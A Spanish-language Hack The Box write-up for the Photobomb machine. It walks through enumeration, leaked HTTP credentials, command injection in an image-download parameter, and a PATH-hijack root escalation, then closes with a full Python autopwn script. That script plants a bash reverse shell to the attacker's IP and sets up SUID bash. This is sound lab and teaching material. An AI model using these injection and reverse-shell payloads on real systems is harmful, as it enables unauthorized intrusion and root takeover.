Home Hackthebox Writeup Photobomb
Post
Cancel

Hackthebox Writeup Photobomb

Overview

  1. Http authentication credentials by Information leak in a server file
  2. Command Inyection by unsanitized user input on file download (Foothold)
  3. Path Hijacking to remote command execution as a privileged user by a bash script (Privilege Escalation)

Logo

OSIPRelease DateDifficultyPoints
Linux10.10.11.18208 Oct 2022Easy20

Antes de empezar verificamos que estamos conectado a la VPN de HTB y tenemos conexión con la máquina:

1
2
3
4
5
6
7
8
> ping -c1 10.10.11.182
PING 10.10.11.182 (10.10.11.182) 56(84) bytes of data.
64 bytes from 10.10.11.182: icmp_seq=1 ttl=63 time=102 ms
                                          \______________________ Linux Machine
--- 10.10.11.182 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
          \_________________\____________________________________ Successful connection
rtt min/avg/max/mdev = 101.974/101.974/101.974/0.000 ms

Explicación de parámetros:

-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina

Enumeration


Empezamos con la fase de reconocimiento haciendo un escaneo de tipo TCP (Transfer Control Protocol) para descubrir los puertos abiertos de la máquina:

1
2
3
4
5
6
7
8
9
10
11
❯ nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.182
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-02 17:04 -05
Nmap scan report for 10.10.11.182
Host is up (0.12s latency).
Not shown: 65140 closed tcp ports (reset), 393 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
              \_________________ Secure Shell Protocol
80/tcp open  http
              \_________________ Hypertext Transfer Protocol

Explicación de parámetros :

-p- : Escanear todos los puertos, del 1 al 65,535

–open : Escanear solo puertos abiertos

-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo

--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo

-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)

-Pn : Omitir el descubrimiento de hosts y continuar con el escaneo de puertos, incrementa velocidad del escaneo

Ahora escaneamos más a fondo para enumerar que servicios corren por detrás de los puertos 22(SSH) - 80(HTTP):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nmap -p22,80 -sCV 10.10.11.182 -oN open_ports_TCP
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-02 17:08 -05
Nmap scan report for photobomb.htb (10.10.11.182)
Host is up (0.10s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux, protocol 2.0)
| ssh-hostkey: 
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Photobomb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux, CPE: cpe:/o:linux:linux_kernel

Explicación de parámetros :

-p <port_1,port_2,...> : Indicamos que puertos queremos escanear

-sCV (Fusión de parámetros -sC -sV)

-sC : Ejecutar en los puertos scripts por defecto de nmap

-sV : Activar detección de versiones de los servicios que corren por los puertos

-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap

Ya que no disponemos de credenciales omitimos el puerto 22 (SSH) y empezamos escaneando el las tecnologias del servicio web en el puerto 80 (HTTP):

Usando whatweb

1
2
3
❯ whatweb 10.10.11.182
http://10.10.11.182 [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.182], RedirectLocation[http://photobomb.htb/], Title[302 Found], nginx[1.18.0]
ERROR Opening: http://photobomb.htb/ - no address for photobomb.htb <-- Redirection

Si prefieres una herramienta con interfaz mas amigable puedes usar la extensión Wappalyzer

Observamos que tenemos un código de estado 302 (Moved Temporarily), el cuál es un mensaje de redirección que ocurre cuando el recurso que solicitamos ha sido temporalmente movido a otra ubicación

En esta ocasión al intentar ingresar al servicio web http://10.10.11.182 existe una redirección hacia http://photobomb.htb, él cual es un nombre de dominio que usa el sistema Domain Name System (DNS) que nos facilita la búsqueda de cualquier recurso en internet y así no estar escribiendo la dirección ip en cuestión

Además, existe una relación con el concepto de Virtual Hosting, el cuál nos permite asociar a una misma dirección ip varios nombres de dominios donde cada uno de estos sea un servicio web completamente diferente a los demás. Para que nosotros podamos acceder a este dominio necesitamos asociarla con su respectiva ip, por ello debemos agregar está información a nuestro archivo del sistema encargado de asociar/resolver/apuntar una ip a un nombre de dominio /etc/hosts : echo '10.10.11.182 photobomb.htb' >> /etc/hosts

1
2
3
❯ whatweb 10.10.11.182
http://10.10.11.182 [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.182], RedirectLocation[http://photobomb.htb/], Title[302 Found], nginx[1.18.0]
http://photobomb.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.182], Script, Title[Photobomb], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Observamos que ahora podemos resolver de manera correcta el nombre de dominio photobomb.htb y con ello poder enumerar las tecnologías y sus respectivas versiones para inicialmente, a manera general, buscar vulnerabilidades existentes

Con el conocimiento previo de las tecnologías procedemos a visualizar la interfaz de la web:

Usando el navegador chromium

Photobomb.htb

De primeras observamos un mensaje de bienvenida y el mensaje To get started, please click here! (the credentials are in your welcome pack) que si hacemos Hoovering sobre el Hyperlink observamos que nos redirige hacia photobomb.htb/printer y justamente nos pide unas credenciales:

Photobomb.htb/printer_login

Ya que nos disponemos de ningun pack de bienvenida, podemos seguir enumerando los recursos que se cargan al entrar a la web:

Web Development Tools Network

Photobomb.htb_devtools

Observamos por la pestaña Initiator que uno de los archivos que se cargan al iniciar la página actual (index) es photobomb.js, y relacionando con el mensaje del pack de bienvenida, examinamos su contenido y encontramos lo siguiente:

Web Development Tools Sources

Photobomb.htb_photobomb.js

Vemos que hace un match de nuestras cookies usando expresiones regulares para validar que si tenemos una cookie con el nombre isPhotoBombTechSupport y cualquier valor, entonces se cambiará el Hyperlink que teniamos antes (http://photobomb/printer) a http://pH0t0:b0Mb!@photobomb.htb/printer que es una manera de authenticación por HTTP (lo mismo que poner las credenciales en el cuadro anterior)

También podemos crear una cookie isPhotoBombTechSupport=anything, recargar y dirigirnos a /printer

Si quieres aprender como usar expresiones regulares te recomiendo está página muy interactiva: https://regexone.com

Foothold


Ahora solo entramos a la ruta /printer y tenemos la siguiente interfaz:

Photobomb.htb/printer

Examinando la web sabemos que tiene la funcionalidad de descargar las imágenes de la página. Por ello, siempre que tengamos está funcinalidad de subir o descargar un archivo es importante analizar que el lo que se envía por la petición. Para ello procedemos a interceptar la petición:

Usando burpsuite como proxy intermediario

Photobomb.htb/printer_burpsuite

Observamos que en la petición por POST se pasan los parámetros photo, filetype y dimensions. Probando cambiar los valores para apuntar a otro archivo local o cambiar el nombre de los parámetros con el objetivo de generar algún error, obtuve lo siguiente:

Photobomb.htb_sinatra_error

Este error es parte de una configuración del Framework minimalista Sinatra del lenguaje Ruby que nos sirve para construir aplicaciones web del lado del servidor (backend). Obviamente comparte información sensible que pueden aprovecar los atacantes

Solo podemos ver parte del código donde se valida el parametro filetype con la expresión regular ^(png|jpg) lo cúal solo permite como válido cualquier cadena que empiece por png o jpg, lo cúal es bastando peligroso, probemos esto:

Photobomb.htb/printer_filetype_test_burpsuite.png

Validamos la visualización de nuestro input, por ello podemos pensar en la vulnerabilidad de Command Inyection que nos permite como atacante ejecutar comandos en el sistema operativo que por detrás esté usando el input del usuario en funciones como system() o exec(). Para ello hacemos una Prueba de concepto (Proff of concept):

Nos ponemos en escucha con tcpdump y pasamos como input una traza ICMP con ping hacia nuestra IP

Photobomb_command_injection_POC

Tienes mas información en Hacktricks sobre la vulnerabilidad Command Inyection

Ya que tenemos ejecución remota de comandos, solo nos queda inyectar una reverse shell con bash, entrar como el usuario wizard y conseguimos la flag:

Phtobomb_footold

Ya que tenemos acceso al sistema, repasemos las malas prácticas que nos permitieron el acceso:

(1) Exponer en scripts sobre la funcionalidad de la web información sensible como credenciales (file: photobomb.js)

(2) No sanitizar correctamente el input del usuario (file: /home/wizard/photobomb/server.rb)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# ...
if !filetype.match(/^(png|jpg)/) <--- Here (1)
    halt 500, 'Invalid filetype.'
  end

  if !dimensions.match(/^[0-9]+x[0-9]+$/)
    halt 500, 'Invalid dimensions.'
  end

  case filetype
  when 'png'
    content_type 'image/png'
  when 'jpg'
    content_type 'image/jpeg'
  end

  filename = photo.sub('.jpg', '') + '_' + dimensions + '.' + filetype (2)
  response['Content-Disposition'] = "attachment; filename=#{filename}"

  if !File.exists?('resized_images/' + filename)
    command = 'convert source_images/' + photo + ' -resize ' + dimensions + ' resized_images/' + filename (3)
    puts "Executing: #{command}"
    system(command) <--- COMMAND EXECUTION (4)
  else
    puts "File already exists."
  end
# ...

Privilege Escalation


Empezamos con una enumeración básica del sistema como usuarios wizard, y rápidamente listando los comandos, con sus respectivos permisos, que podemos ejecutar sudo -l encontramos lo siguiente:

1
2
3
4
5
6
wizard@photobomb:~/photobomb$ sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

Obervamos que podemos ejecutar el binario /opt/cleanup.sh como el usuario root y se asigna los tags SETENV (sirve para asignar variables de entorno) y NOPASSWD (ejecutar el comando sin requerir una contraseña). Veamos el contenido del archivo:

file: /opt/cleanup.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Lo que hace el script es (1) ejecutar el archivo /opt/.bashrc, él cual es un script con configuraciones respecto a la sessión de la terminal cuando un usuario se logea. (2) Luego limpia los logs de la web que anteriormente vulneramos y (3) por último vemos algo interesante, se aplica una búsqueda con el comando find sin usar su ruta absoluta

Inmediatamente al observar esto se nos viene a la mente la vulnerabilidad Path Hijacking (secuestro de rutas) que nos permite secuestrar las rutas habituales que se definen en la variable de entorno PATH y asignar nuestras propias rutas junto con nuestros archivos maliciosos

Entonces lo que podemos hacer es crearnos un archivo también llamado find en una ruta determinada (/tmp/.10.1014.155/find) y con el tag SETENV agregar a la variable de entorno PATH nuestra ruta donde se encuentra nuestro archivo malicioso para luego ejecutarlo, conseguir la shell como root y la flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
wizard@photobomb:~/photobomb$ mkdir /tmp/.10.10.14.155
wizard@photobomb:~/photobomb$ cat >> /tmp/.10.10.14.155/find
#!/bin/bash

chmod u+s /bin/bash
wizard@photobomb:~/photobomb$ cat /tmp/.10.10.14.155/find 
wizard@photobomb:~/photobomb$ chmod +x /tmp/.10.10.14.155/find 
wizard@photobomb:~/photobomb$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
wizard@photobomb:~/photobomb$ sudo PATH=/tmp/.10.10.14.155:$PATH /opt/cleanup.sh
wizard@photobomb:~/photobomb$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
wizard@photobomb:~/photobomb$ bash -p
bash-5.0# whoami
root
bash-5.0# find / -name root.txt | xargs ls -l
-rw-r----- 1 root root 33 Nov  3 05:54 /root/root.txt

Para finalizar hice un script en python para automatizar todo el proceso y conseguir la shell como root:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3

"""
Autopwn Photobomb HTB
---------------------
Author : Marss
Date : 01 Nov, 2022
"""

import argparse
import requests
import signal
import sys
import shlex
import subprocess

from pwn import *


# Ctrl + c (function)
def signal_handler(signum, frame): sys.exit('\n[!] User terminated.')

# Ctrl + c (signal)
signal.signal(signal.SIGINT, signal_handler)


# Main class
class Exploit:
	def __init__(self, args):
		self.target_url = { '10.10.14.182' : 'http://photobomb.htb' }
		self.ip_address = args.ip
		self.port = args.port

	def make_request(self, command):
		try:
			headers = {
				'Authorization' : 'Basic cEgwdDA6YjBNYiE=',
				'Content-Type' : 'application/x-www-form-urlencoded'
			}

			form_data = {
				'photo' : 'eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg',
				'filetype' : f'jpg;{command}',
				'dimensions' : '3000x2000'
			}
			
			response = requests.post(self.target_url['10.10.14.182'] + '/printer', headers=headers, data=form_data)
			
		except Exception as error:
			sys.exit("[x] Error: %s" % error)

	def command_inyection(self, command):
			self.make_request(command)

	def run(self):
		# Post request with command injection
		with log.progress('Starting Inyection Attack') as progress:

		    # (1) Create workstation
		    progress.status('Creating working directory')
		    self.command_inyection(f"mkdir /tmp/.{self.ip_address}")
		    log.info('Working directory created')
		    
		    # (2) Create binary with malicious code (reverse shell in bash)
		    progress.status('Inyecting malicious code into our binary file')
		    self.command_inyection(f"echo \"#!/bin/bash\\nbash -c 'bash -i >& /dev/tcp/{self.ip_address}/{self.port} 0>&1'\" > /tmp/.{self.ip_address}/find && chmod +x /tmp/.{self.ip_address}/find")
		    log.info(f'Binary created: /tmp/.{self.ip_address}/find')
		    
		    # (3) Listening mode
		    log.info(f'Open port {self.port} to receive root shell (g.e /usr/bin/nc -l {self.port})')
		    input('Press ENTER to continue.')
		    
		    # (4) Execute binary like root to receive shell
		    progress.success('Getting connection in a few seconds')
		    self.command_inyection(f"sudo PATH=/tmp/.{self.ip_address}:$PATH /opt/cleanup.sh")

		    # (5) Removing working directory and binary file
		    log.info('Removing working directory and files')
		    self.command_inyection(f"rm -rf /tmp/.{self.ip_address}")


# Main flow
if __name__ == '__main__':
	ascii_title = """
	                               __
	 /\      |_  _   _       _    |__) |_   _  |_  _  |_   _   _  |_ 
	/--\ |_| |_ (_) |_) \)/ | )   |    | ) (_) |_ (_) |_) (_) ||| |_)
	                |                                                
	                                                            by marss
  """
	parser = argparse.ArgumentParser(
		description=ascii_title,
		formatter_class=argparse.RawDescriptionHelpFormatter,
		epilog="""Example:
		autopwn.py -i 10.10.10.10 -p 4444
		""")

	parser.add_argument('-i', '--ip', required=True, help='specified IP to receive the shell')
	parser.add_argument('-p', '--port', required=True, help='specified PORT to receive the shell')

	args = parser.parse_args()

	print(ascii_title)

	exploit = Exploit(args)

	exploit.run()

Autopwn

Puedes encontrar el script en mi repositorio: https://github.com/E1P0TR0

Como último veamos las malas prácticas que nos permitieron escalar privilegios:

Asignar a un usuario del sistema la ejecución de comandos como un usuario privilegiado (file: /etc/sudoers.d/photobomb)

1
wizard photobomb = (root) NOPASSWD:SETENV: /opt/cleanup.sh

Sumando a lo anterior. Usar binarios del sistema sin asignar su ruta absoluta del sistema (file: /opt/cleanup.sh)

1
2
#...
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
This post is licensed under CC BY 4.0 by the author.